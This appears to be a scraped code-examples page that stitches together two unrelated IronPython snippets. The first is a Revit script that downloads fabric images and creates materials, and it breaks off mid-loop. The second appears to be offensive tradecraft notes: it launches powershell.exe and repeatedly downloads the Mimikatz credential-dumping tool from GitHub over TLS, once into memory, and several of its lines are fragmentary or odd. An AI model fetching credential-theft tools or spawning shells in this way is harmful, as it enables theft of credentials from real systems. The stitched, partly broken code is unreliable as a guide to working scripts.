# Populating Material List and Downloading the images:
for item in fabric_df:
    image_approval = item["fields"]["Approval"]
    material_name = item["fields"]["Fabric_Code_Ref"]
    material_category = item["fields"]["Material_Type"]
    if image_approval != "Rejected":
        material_list.append(material_name)
        category_list.append(material_category)
        print("Downloading: " + material_name)
        try:
            image_url = item["fields"]["Fabric_Image"][0]["url"]
            image_ext = image_url.split("/")[-1].split(".")[-1]
            map_path.append(folder_path + "\\" + material_name + "." + image_ext)
            wc = WebClient()
            wc.DownloadFile(
                image_url, folder_path + "\\" + material_name + "." + image_ext
            )
        except KeyError:
            print("-" * 10 + material_name + " has no image")
            map_path.append(None)
    else:
        print("-" * 5 + image_approval + "-" * 5 + material_name)

# Fetching Materials
with db.Transaction("Creating Bulk Materials"):
    for i, item in enumerate(material_list):
        mat = basefabric.Duplicate(item)
        mat.AppearanceAssetId = basefabricA_asset.Duplicate(item).Id
        fabric_texture_path = map_path[i]
        mat.MaterialCategory = category_list[i][0]
        editMatScope = DB.Visual.AppearanceAssetEditScope(doc)
Example #2
0
>>> sys.path.append("C:\IronPython-2.7.7\LibR.docx")
>>> import os


## Launching external process
from System.Diagnostics import Process
Process.Start('powershell.exe', '')


## Download of file over TLS

from System.Net import WebClient
wc = WebClient()
from System.Net import ServicePointManager, SecurityProtocolType
ServicePointManager.SecurityProtocol  = SecurityProtocolType.Tls12
wc.DownloadFile("https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180322/mimikatz_trunk.zip", "mimikatz.zip")


import clr
from System.Net import WebClient
from System.Net import ServicePointManager, SecurityProtocolType
with WebClient() as wc:
        ServicePointManager.SecurityProtocol  = SecurityProtocolType.Tls12
        wc.DownloadFile("https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180322/mimikatz_trunk.zip", "mimikatz.zip")

wc.DownloadData("url")
from System.IO import MemoryStream
clr.AddReference("System.IO.Compression")
from System.IO.Compression import ZipArchive, ZipArchiveMode

zip=wc.DownloadData("https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180322/mimikatz_trunk.zip")